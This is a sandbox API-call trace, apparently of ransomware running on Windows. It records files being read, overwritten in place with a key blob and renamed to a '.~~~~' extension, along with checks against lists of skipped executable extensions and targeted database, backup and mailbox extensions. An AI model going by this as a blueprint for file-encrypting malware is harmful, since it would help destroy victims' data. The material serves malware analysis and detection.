	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3450
	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3450 | out: hHeap=0x300000) returned 1
	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b75d0
	[0076.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b75d0 | out: hHeap=0x300000) returned 1
	[0076.438] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.438] GetLastError () returned 0x0
	[0076.438] GetLastError () returned 0x0
	[0076.438] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.438] GetLastError () returned 0x0
	[0076.438] GetLastError () returned 0x0
	[0076.438] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0xe00, lpOverlapped=0x0) returned 1
	[0076.587] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.595] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xe00, lpOverlapped=0x0) returned 1
	[0076.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.610] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.610] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.610] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.611] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.611] CloseHandle (hObject=0x11c) returned 1
	[0076.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0076.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.~~~~")) returned 1
	[0076.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a49a0 | out: hHeap=0x300000) returned 1
	[0076.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.612] GetLastError () returned 0x0
	[0076.613] RtlWakeConditionVariable () returned 0x365f70
	[0076.613] GetCurrentThreadId () returned 0x3a4
	[0076.613] GetCurrentThreadId () returned 0x3a4
	[0076.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0076.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4bc8 | out: hHeap=0x300000) returned 1
	[0076.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3680 | out: hHeap=0x300000) returned 1
	[0076.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4bc8
	[0076.613] lstrlenW (lpString=".scr") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".scr") returned 0x0
	[0076.613] lstrlenW (lpString=".cmd") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".cmd") returned 0x0
	[0076.613] lstrlenW (lpString=".dll") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dll") returned 0x0
	[0076.613] lstrlenW (lpString=".bat") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".bat") returned 0x0
	[0076.613] lstrlenW (lpString=".cpl") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".cpl") returned 0x0
	[0076.613] lstrlenW (lpString=".sys") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".sys") returned 0x0
	[0076.613] lstrlenW (lpString=".msc") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".msc") returned 0x0
	[0076.613] lstrlenW (lpString=".com") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".com") returned 0x0
	[0076.613] lstrlenW (lpString=".lnk") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".lnk") returned 0x0
	[0076.613] lstrlenW (lpString=".msp") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".msp") returned 0x0
	[0076.613] lstrlenW (lpString=".pif") returned 4
	[0076.613] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".pif") returned 0x0
	[0076.614] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.614] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.614] lstrlenW (lpString=".sqb") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".sqb") returned 0x0
	[0076.614] lstrlenW (lpString=".ost") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".ost") returned 0x0
	[0076.614] lstrlenW (lpString=".txt") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".txt") returned 0x0
	[0076.614] lstrlenW (lpString=".mdt") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".mdt") returned 0x0
	[0076.614] lstrlenW (lpString=".BDB") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".BDB") returned 0x0
	[0076.614] lstrlenW (lpString=".eql") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".eql") returned 0x0
	[0076.614] lstrlenW (lpString=".DBF") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DBF") returned 0x0
	[0076.614] lstrlenW (lpString=".EQL") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".EQL") returned 0x0
	[0076.614] lstrlenW (lpString=".FDB") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".FDB") returned 0x0
	[0076.614] lstrlenW (lpString=".EDB") returned 4
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".EDB") returned 0x0
	[0076.614] lstrlenW (lpString=".DACPAC") returned 7
	[0076.614] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DACPAC") returned 0x0
	[0076.615] lstrlenW (lpString=".VHD") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".VHD") returned 0x0
	[0076.615] lstrlenW (lpString=".DBV") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DBV") returned 0x0
	[0076.615] lstrlenW (lpString=".dacpac") returned 7
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dacpac") returned 0x0
	[0076.615] lstrlenW (lpString=".sdf") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".sdf") returned 0x0
	[0076.615] lstrlenW (lpString=".accdb") returned 6
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".accdb") returned 0x0
	[0076.615] lstrlenW (lpString=".DBX") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DBX") returned 0x0
	[0076.615] lstrlenW (lpString=".MDT") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".MDT") returned 0x0
	[0076.615] lstrlenW (lpString=".SQB") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".SQB") returned 0x0
	[0076.615] lstrlenW (lpString=".vhd") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".vhd") returned 0x0
	[0076.615] lstrlenW (lpString=".bac") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".bac") returned 0x0
	[0076.615] lstrlenW (lpString=".mdf") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".mdf") returned 0x0
	[0076.615] lstrlenW (lpString=".BAK") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".BAK") returned 0x0
	[0076.615] lstrlenW (lpString=".BAC") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".BAC") returned 0x0
	[0076.615] lstrlenW (lpString=".dbs") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dbs") returned 0x0
	[0076.615] lstrlenW (lpString=".vhdx") returned 5
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".vhdx") returned 0x0
	[0076.615] lstrlenW (lpString=".NDF") returned 4
	[0076.615] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".NDF") returned 0x0
	[0076.616] lstrlenW (lpString=".dat") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dat") returned 0x0
	[0076.616] lstrlenW (lpString=".DBS") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DBS") returned 0x0
	[0076.616] lstrlenW (lpString=".CKP") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".CKP") returned 0x0
	[0076.616] lstrlenW (lpString=".edb") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".edb") returned 0x0
	[0076.616] lstrlenW (lpString=".PST") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".PST") returned 0x0
	[0076.616] lstrlenW (lpString=".dbf") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dbf") returned 0x0
	[0076.616] lstrlenW (lpString=".SQL") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".SQL") returned 0x0
	[0076.616] lstrlenW (lpString=".pst") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".pst") returned 0x0
	[0076.616] lstrlenW (lpString=".dbv") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dbv") returned 0x0
	[0076.616] lstrlenW (lpString=".SDF") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".SDF") returned 0x0
	[0076.616] lstrlenW (lpString=".dtxs") returned 5
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dtxs") returned 0x0
	[0076.616] lstrlenW (lpString=".db3") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".db3") returned 0x0
	[0076.616] lstrlenW (lpString=".OST") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".OST") returned 0x0
	[0076.616] lstrlenW (lpString=".dbx") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dbx") returned 0x0
	[0076.616] lstrlenW (lpString=".DB3") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DB3") returned 0x0
	[0076.616] lstrlenW (lpString=".DAT") returned 4
	[0076.616] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DAT") returned 0x0
	[0076.617] lstrlenW (lpString=".VHDX") returned 5
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".VHDX") returned 0x0
	[0076.617] lstrlenW (lpString=".ndf") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".ndf") returned 0x0
	[0076.617] lstrlenW (lpString=".DB") returned 3
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DB") returned 0x0
	[0076.617] lstrlenW (lpString=".sql") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".sql") returned 0x0
	[0076.617] lstrlenW (lpString=".MYD") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".MYD") returned 0x0
	[0076.617] lstrlenW (lpString=".DBT") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DBT") returned 0x0
	[0076.617] lstrlenW (lpString=".ACCDB") returned 6
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".ACCDB") returned 0x0
	[0076.617] lstrlenW (lpString=".fdb") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".fdb") returned 0x0
	[0076.617] lstrlenW (lpString=".bak") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".bak") returned 0x0
	[0076.617] lstrlenW (lpString=".myd") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".myd") returned 0x0
	[0076.617] lstrlenW (lpString=".DTXS") returned 5
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".DTXS") returned 0x0
	[0076.617] lstrlenW (lpString=".ckp") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".ckp") returned 0x0
	[0076.617] lstrlenW (lpString=".dbt") returned 4
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".dbt") returned 0x0
	[0076.617] lstrlenW (lpString=".db") returned 3
	[0076.617] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".db") returned 0x0
	[0076.617] lstrlenW (lpString=".TXT") returned 4
	[0076.618] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".TXT") returned 0x0
	[0076.618] lstrlenW (lpString=".MDF") returned 4
	[0076.618] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".MDF") returned 0x0
	[0076.618] lstrlenW (lpString=".bdb") returned 4
	[0076.618] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".bdb") returned 0x0
	[0076.618] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.618] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.618] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a00d0) returned 1
	[0076.619] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.619] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0076.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.619] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19660920548) returned 1
	[0076.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97900470, dwHighDateTime=0x1d60e1e)) 
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3680
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3680 | out: hHeap=0x300000) returned 1
	[0076.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0076.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.620] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.630] GetLastError () returned 0x0
	[0076.630] GetLastError () returned 0x0
	[0076.630] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.630] GetLastError () returned 0x0
	[0076.630] GetLastError () returned 0x0
	[0076.630] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x333, lpOverlapped=0x0) returned 1
	[0076.632] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.632] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x333, lpOverlapped=0x0) returned 1
	[0076.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.633] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.633] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
